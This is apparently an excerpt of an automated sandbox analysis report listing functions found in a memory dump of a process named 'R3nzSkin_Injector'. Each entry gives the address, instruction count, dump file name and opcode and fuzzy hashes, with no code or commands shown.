Function 00007FFD9BA01A20 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 309111ecbd23cdf750924eaf46e2760ba69702156f757427ce280e0d2d107750
Instruction ID: c65961d5a0d9b08a5410ba5e89d2a94e7902abcf428cfe674004c6dd959d9338
Opcode Fuzzy Hash: 309111ecbd23cdf750924eaf46e2760ba69702156f757427ce280e0d2d107750
Instruction Fuzzy Hash: B2814330A0E91D4BDBB8EB88D8A17F9B3E1FF55300F115269D04ED3191DE78AA468B81

Function 00007FFD9BA133A8 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6ab35e33060427d714afb35323bd7396152552955ba13dbada4789db1839dbb
Instruction ID: dd5b3c43be8ff297f4a9e864b0c067337f616dc28bba1373a3d07ddb68be6395
Opcode Fuzzy Hash: c6ab35e33060427d714afb35323bd7396152552955ba13dbada4789db1839dbb
Instruction Fuzzy Hash: 86914C30608F498FD7A4EF2CC094BA6B7E1FBA9310F14466AD49DC3255DB74E585CB81

Function 00007FFD9BA15949 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50454acb96c80ae5a80c04162a3c928cd2f9f889d328700f3f1ee4f33a288c6f
Instruction ID: 4a9a3e02ecfe802d2d3a089d4d9ab12638a8e6e0c1057b90b5a99b86b9b4f335
Opcode Fuzzy Hash: 50454acb96c80ae5a80c04162a3c928cd2f9f889d328700f3f1ee4f33a288c6f
Instruction Fuzzy Hash: 63910530A0EA4D4FDBB9DB588C617A977E1FF56300F1542AAC08DD3192DE78A946CB81

Function 00007FFD9BA016F8 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 209b9431f7639f6acc70c25cab0aadfd9f11e057dedb6bb45d7a67f33f88bdeb
Instruction ID: cf003fe7938d142ae2fb7dd94887f580376bf7741b96e7550a107189efdf7d0a
Opcode Fuzzy Hash: 209b9431f7639f6acc70c25cab0aadfd9f11e057dedb6bb45d7a67f33f88bdeb
Instruction Fuzzy Hash: A7715C30A0EF8E0FD7B5DB6488665B67BE0EF61300F1505BED489C32B2ED686545C792

Function 00007FFD9BA01880 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c37d20383bef0ae0ed41b30f97998b98eae28686d6d808bc08ab45b896781682
Instruction ID: 28b42e97ed197f1483db9d3e1e4b1c300d024f36a6cfe3179e6f4651fae9b8a0
Opcode Fuzzy Hash: c37d20383bef0ae0ed41b30f97998b98eae28686d6d808bc08ab45b896781682
Instruction Fuzzy Hash: 7D519631A0DD1D4BDF65E798C8617FAB3E1FFA5310F12026DD04ED3191DEA8AA468B81

Function 00007FFD9BA033F2 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e29e11b47316afff044ea1710fa2ac913e983e54d0b2fad045353318dcb255fe
Instruction ID: eb3442b4db1e1d5444b219cb8ab86522d6158d343ee47faeecdc2a1e786cafa5
Opcode Fuzzy Hash: e29e11b47316afff044ea1710fa2ac913e983e54d0b2fad045353318dcb255fe
Instruction Fuzzy Hash: 1551C130A0994E8FDFA5EF68C8656FD7BE1FF5A315F01017AD04AE32A1CA75A941C780

Function 00007FFD9BA1275D Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a55bd6c968b0caf4f0a1f894027ddbfe5b33df672ee1e3bdc17af262381e13a
Instruction ID: d7ae21e5a6fff6b4850bcc9e2f21cabd6e033250fb10eaaa00b350583c386b8e
Opcode Fuzzy Hash: 9a55bd6c968b0caf4f0a1f894027ddbfe5b33df672ee1e3bdc17af262381e13a
Instruction Fuzzy Hash: 4A51F531A1CB0C4FDB69DB48D4916F973E0FB59314F1112BEE48ED7192DA64E9428B81

Function 00007FFD9BA0BEF9 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3ec5933ca58d7327010bd7d4d460a52084b939052c53295cfbb31f5007986f5
Instruction ID: 3ce3fe00ea41254f689ece316fc144a67a5e8c14eeaef443c47f15d7d2690bca
Opcode Fuzzy Hash: b3ec5933ca58d7327010bd7d4d460a52084b939052c53295cfbb31f5007986f5
Instruction Fuzzy Hash: 7161F530D0E7CA6FE71787B488626997FA09F13250F0942EAD0D5CB1F3DAAC6846CB51

Function 00007FFD9BA01ACD Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67ee67705aae5e0b86fef9d20be91cd60a3faf8b2228b157cd8ccf7883971771
Instruction ID: 0eda94c1bf9fca5f94b602162cfa56950e97e66885bb46917c90abefc8c79869
Opcode Fuzzy Hash: 67ee67705aae5e0b86fef9d20be91cd60a3faf8b2228b157cd8ccf7883971771
Instruction Fuzzy Hash: B0514A31B0D7998FD712AB7CA8651E9BFA0DF53320B0901BFD1C9C7193E655694683C1

Function 00007FFD9BA01728 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4baa3737d877ab9b3cae004ff520cf93b0a6228ada1be32eb7d5fce570362e66
Instruction ID: b3bc2e17dd03003d52220e73ce45b141eb35c4af6b532c5f5873c666ee76676b
Opcode Fuzzy Hash: 4baa3737d877ab9b3cae004ff520cf93b0a6228ada1be32eb7d5fce570362e66
Instruction Fuzzy Hash: DC514120F0EA0F46FA75A3A480B13FE65D1AF6B340F520039F2DE421E2CE9D7B456646

Function 00007FFD9BA0D296 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8857f1721ba5ac70cf72206375c18b86acff77b66571fd0b6e41b7d979692f0f
Instruction ID: e8fe71f3af17143edfd8f186beab9680dddcd2a7ba8386b9eb856a6bc7a1ed41
Opcode Fuzzy Hash: 8857f1721ba5ac70cf72206375c18b86acff77b66571fd0b6e41b7d979692f0f
Instruction Fuzzy Hash: 6A51843161974E8FDB95DF58C8A16E977E0FF56300F0500BAE889C72A1CB79E911CB41

Function 00007FFD9BA0ECC4 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20759cd03bda347931c696626efeeb55433426941d837eeb102ed89d6cb7c8aa
Instruction ID: fbcb04d4257862e942cb428ec918994e1a73b5423c1cd20e4c75d79a7f8fc803
Opcode Fuzzy Hash: 20759cd03bda347931c696626efeeb55433426941d837eeb102ed89d6cb7c8aa
Instruction Fuzzy Hash: AA519220F0EA5E0AF6B553A840753B965D1DF57700F46043EE5DEC26F2CE9CAB45A381

Function 00007FFD9BA143E8 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ea77348e5da7def5522a2817ba2177fe5abe8155ee8c62c80a9e04746d3edb5
Instruction ID: 922c6efcf4e21126ab332b7f1632404f59187052d3e18bd398696a8c9fc4d56e
Opcode Fuzzy Hash: 1ea77348e5da7def5522a2817ba2177fe5abe8155ee8c62c80a9e04746d3edb5
Instruction Fuzzy Hash: 6A51F53190E7C94FD763976498617E57FB0EF53220F0A01EBD089C70A3DAAC5A0ACB52

Function 00007FFD9BA114DD Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8257aee0a05901dc3085f112c8c1e0972d95f0d9b489a28c0f5e76543da53071
Instruction ID: 059876d0a1ca3fedb01c2971e8470d7221a06dac6ae45fffa12b16bb810c6df3
Opcode Fuzzy Hash: 8257aee0a05901dc3085f112c8c1e0972d95f0d9b489a28c0f5e76543da53071
Instruction Fuzzy Hash: A7414C31A0F64E0FE7B8D76448271B877D0EF65221F15167DD4DAC31A2ED986A0B83D2

Function 00007FFD9BA0E8E1 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34872d710081aab7463e29bdf763468139df2204d478ff6113ea14d128aee55
Instruction ID: 17e24b820e981ed0e501dba044e2b1d439f0a7c2a714b84a4e08b4803bb14d55
Opcode Fuzzy Hash: a34872d710081aab7463e29bdf763468139df2204d478ff6113ea14d128aee55
Instruction Fuzzy Hash: 2431DB20F0EA5D47E6B557A440702BDB2C1EF47760F66023AE1EE821F1CD9C7A426742

Function 00007FFD9BA0B74D Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 229ac68023a0c9cd96dba13982349894ca17f9e57c81c97f4f6106538f3a9efc
Instruction ID: 27ba52ecb9cd28fb6a2293eb77ab20b17208e79f598d67b1448dd8d4cf335972
Opcode Fuzzy Hash: 229ac68023a0c9cd96dba13982349894ca17f9e57c81c97f4f6106538f3a9efc
Instruction Fuzzy Hash: B4310330A0E94D4FDB55E7B8C4259EDBBE1FF5A350F4902BAD08AD31A2CE6869058780

Function 00007FFD9BA14D95 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d937d2131acaddc6e3940ae8b60f9596ba051311592c384a1a1aac3f606db41
Instruction ID: 842faf2257284acc6b816cec10be60dab58ecf497aa8c1e498048a5265424b67
Opcode Fuzzy Hash: 1d937d2131acaddc6e3940ae8b60f9596ba051311592c384a1a1aac3f606db41
Instruction Fuzzy Hash: 57313520B2AE0E0FDBB4AB6D58A60B577C2EB9920175506BED05DC32B5CD54EA414681

Function 00007FFD9BA031A9 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12f0048cfedb91549fb219ce3dabd9cb5665f93d43e4ce632ab43e6f9a6125b0
Instruction ID: b97b108b32afcb4e64630a7dc513bc9a6702158ed0b492b9d05e647e8ce088ce
Opcode Fuzzy Hash: 12f0048cfedb91549fb219ce3dabd9cb5665f93d43e4ce632ab43e6f9a6125b0
Instruction Fuzzy Hash: E7312952F0E94E0FD7A1C7AC54656B17BD1EFAE210F1602BAD49DC31F6DD58A9428380

Function 00007FFD9BA02F4D Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aff0d06aa4a8e79558f1ea64b73acea5f36e89eb1677b8ac5b238321c3c03fb
Instruction ID: 70df1bab38b15138092acf0c4feeacc4646d6c3d74214b90b6c7783f82a3c1b0
Opcode Fuzzy Hash: 0aff0d06aa4a8e79558f1ea64b73acea5f36e89eb1677b8ac5b238321c3c03fb
Instruction Fuzzy Hash: 0831F861A0E7C95FE7269B7848252B5BFE0EF53220F0801EED0DAC75E3DA696416C711

Function 00007FFD9BA0BBF4 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14445ad702b916949fd12773ab6a20996e73cfa4147dcc88db7a08ed4bcb6ddb
Instruction ID: f995b092772b869a0eae7266f65464bce35a899ce570477cce82676b95a8eee2
Opcode Fuzzy Hash: 14445ad702b916949fd12773ab6a20996e73cfa4147dcc88db7a08ed4bcb6ddb
Instruction Fuzzy Hash: F331F431A0A64E8FEB79DB94C4717FCBBA0EF57310F4500B9D08A971E2EEB429418B40

Function 00007FFD9BA0EA9C Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39ffa83ae66cb3f74a1d24ce5f8bde9b68df1986a82e521bf498aeccd33c979a
Instruction ID: 1960f0e9718f772be73ba687d9441588227e50fbacac23e0315fc61bb1303b17
Opcode Fuzzy Hash: 39ffa83ae66cb3f74a1d24ce5f8bde9b68df1986a82e521bf498aeccd33c979a
Instruction Fuzzy Hash: 5C319230F0AA0E4AE77597A080A53FA72D1FF57310F164579D4DB835F2DEA87A05A341

Function 00007FFD9BA175E0 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5808eeae083e5dc2d6630b6e24fef1d586a67a9e589e8d74a8f0a709203b2d53
Instruction ID: 7d0ac265c27f6e8f77a43a6e3ddee1585602744359e40c431fe757d38f1d1a0c
Opcode Fuzzy Hash: 5808eeae083e5dc2d6630b6e24fef1d586a67a9e589e8d74a8f0a709203b2d53
Instruction Fuzzy Hash: FA212531A08A1C8FDFA8EF5CD88A7F9B7E0EB59320F00406ED44DC7156DA71A805CB92

Function 00007FFD9BA12DBA Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 333bd810a4b7c82ba41e98e2c9943421bb14b9e7d345ea6f06096595d4a1ef15
Instruction ID: 1999e740d57d46592c5f59cd503f76a3ca03cba73ee6c22b787c7caa70762352
Opcode Fuzzy Hash: 333bd810a4b7c82ba41e98e2c9943421bb14b9e7d345ea6f06096595d4a1ef15
Instruction Fuzzy Hash: 79312D31619A4D8FDF84EF68C8919E977A2FFA9344B114265F80DC32A5CA74ED41CBC0

Function 00007FFD9BA0DDC4 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18f7be6576e55ecd06efb72257ac996063d00fb006711d65313c6e4b1041f74f
Instruction ID: 86b6a3c7e849af16424b0bda6691bb6298ad455eb95929f0c742f5cd2a8851b7
Opcode Fuzzy Hash: 18f7be6576e55ecd06efb72257ac996063d00fb006711d65313c6e4b1041f74f
Instruction Fuzzy Hash: 95213B31B09A4D4FD765EBB884651F9B7E2FF9A310F05027BE48DC32D2CE68A5018780

Function 00007FFD9BA0B0B9 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d4403bf87a2a8e9075ae1d597a178d4136942949ecc539cb097fe039601c359
Instruction ID: 21295a5e4c5cb126ecab7ba14dcb1a7eed5a41ac5528cd778ac9b8ab8c248fe4
Opcode Fuzzy Hash: 7d4403bf87a2a8e9075ae1d597a178d4136942949ecc539cb097fe039601c359
Instruction Fuzzy Hash: 9C21AD2070CE890FD726DB2C58946B9BBE0EF9A324F4906EBD088C32F7C918D5448382

Function 00007FFD9BA0E10C Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3138e401285206d0340b5663fb9e3ee57c991caa0df7b83fb8cd7c41cbc1264b
Instruction ID: 4d39a902123ca44ad126ae4be96efdb5a456c8f1fed671898b0589b149b1782c
Opcode Fuzzy Hash: 3138e401285206d0340b5663fb9e3ee57c991caa0df7b83fb8cd7c41cbc1264b
Instruction Fuzzy Hash: 9211B710F0AD0D0FEBB5A7A944612F962C2EFAF240F41407AE18DC36E6CC5C6A464741

Function 00007FFD9BA16632 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 407ff8714859f01c126f33f4d627e886d8c54f12690eefb48ae285eae50ef4c0
Instruction ID: 4c87472984266d61e5f10f9496b5f437a7cbf53993d1ed8eb22cd4fa960a0370
Opcode Fuzzy Hash: 407ff8714859f01c126f33f4d627e886d8c54f12690eefb48ae285eae50ef4c0
Instruction Fuzzy Hash: 2F21CA31619A5D8FDF94EF18C891AE977A2FFA9344B515225F80DC32A5CA34ED81CBC0

Function 00007FFD9BA12D9C Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bd3f57336160d81af89c93f241b1b54253e94096716f68d25b54114c0a7dd6b
Instruction ID: a0a8fc1a2552a0c3dec32e89b102f9ef3f8276df71cd10e3c817fc4af5fa10a9
Opcode Fuzzy Hash: 1bd3f57336160d81af89c93f241b1b54253e94096716f68d25b54114c0a7dd6b
Instruction Fuzzy Hash: 2021C830619A4D8FDF94EF58C8919E977A2FFA9344B515265F80DC32A5CA34E981CBC0

Function 00007FFD9BA019D0 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee1317c5141c3670fd99de435a4d8c194ace695f0a81da895528c4555b9a49bd
Instruction ID: ca82cb8b21486b7fb5f845bc47313af971f6f99f894dfac6bddad185346c85f2
Opcode Fuzzy Hash: ee1317c5141c3670fd99de435a4d8c194ace695f0a81da895528c4555b9a49bd
Instruction Fuzzy Hash: 9D11C431719E090BE379E75C98A1AB6B3D0FB99310F440539E4CAC31A1CD59FA428681

Function 00007FFD9BA0E120 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bafca5dec221f41570a703abbca07855427dd03d857048901f9576783ce7dcc
Instruction ID: 2d60b496dfae80d6bd55358726be8c1beb792fa5e60774a628a9f215b0c29970
Opcode Fuzzy Hash: 0bafca5dec221f41570a703abbca07855427dd03d857048901f9576783ce7dcc
Instruction Fuzzy Hash: D8118620F16D0D0BEBB4A7A944652BA61C2EFAF281F41403DF18DC36A6CD69AA464741

Function 00007FFD9BA107B1 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc5a7b10788db1b06b188393a3f4a873c93b9999ed8b46dba248eccc74aa08c
Instruction ID: 5385e1bbdd7acb6a70fbad27b39ddf8d58407a47a14a63f6ce68f2a722a79371
Opcode Fuzzy Hash: 5bc5a7b10788db1b06b188393a3f4a873c93b9999ed8b46dba248eccc74aa08c
Instruction Fuzzy Hash: 5E11292170DA480FD761E76844A15FAB3E2EFEA300B05077AE4CAC31A3CC98A9034381

Function 00007FFD9BA08E44 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e1817da95a723de23e2f41d5db05f340a47792015324ec7d9dc209dbd0ca4d
Instruction ID: 85a32f6eda665a1e14bee7088d4d850282b9549c4a51907ea07237b55186d7d6
Opcode Fuzzy Hash: 05e1817da95a723de23e2f41d5db05f340a47792015324ec7d9dc209dbd0ca4d
Instruction Fuzzy Hash: E5119131B1CF1D8FD7389F1C905526977D1EB99611F5507AEC09EC328ACE34A90286C4

Function 00007FFD9BA01798 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ff263cbcc5f772efb492a68f524e333302934ea10cfe099d43bc8e79cb90eda
Instruction ID: 48fbfe8eefb05a31173a05c10829d4bff89465382fad06d313a78e201f2ae312
Opcode Fuzzy Hash: 3ff263cbcc5f772efb492a68f524e333302934ea10cfe099d43bc8e79cb90eda
Instruction Fuzzy Hash: 3C115920B1DD0E0BE76CAB7C486D4BA32D1EB94210759463EE44FC31E8ECA8B5808281

Function 00007FFD9BA0D1C4 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0573ffa0c7044a9ee3bf8a36257e58924998e33f3dc2ed101be46819cf36b0e3
Instruction ID: 857135e70a929ce681fd07ecada3007e902d226f2431db881240d1f1bf94ba33
Opcode Fuzzy Hash: 0573ffa0c7044a9ee3bf8a36257e58924998e33f3dc2ed101be46819cf36b0e3
Instruction Fuzzy Hash: F4112B31E09A4D4FDB25A7B488217E5B7A1EF63310F0543A7E48DC31A2DDB86A558741

Function 00007FFD9BA13FC9 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99b56bdeb7e621b3921f9749d1d91a17da630cce71c956a00563d69323fa8ba8
Instruction ID: 0c37affac16dbdfb5601d7433098e80541fecdf2a498cc9fac29e807add78c24
Opcode Fuzzy Hash: 99b56bdeb7e621b3921f9749d1d91a17da630cce71c956a00563d69323fa8ba8
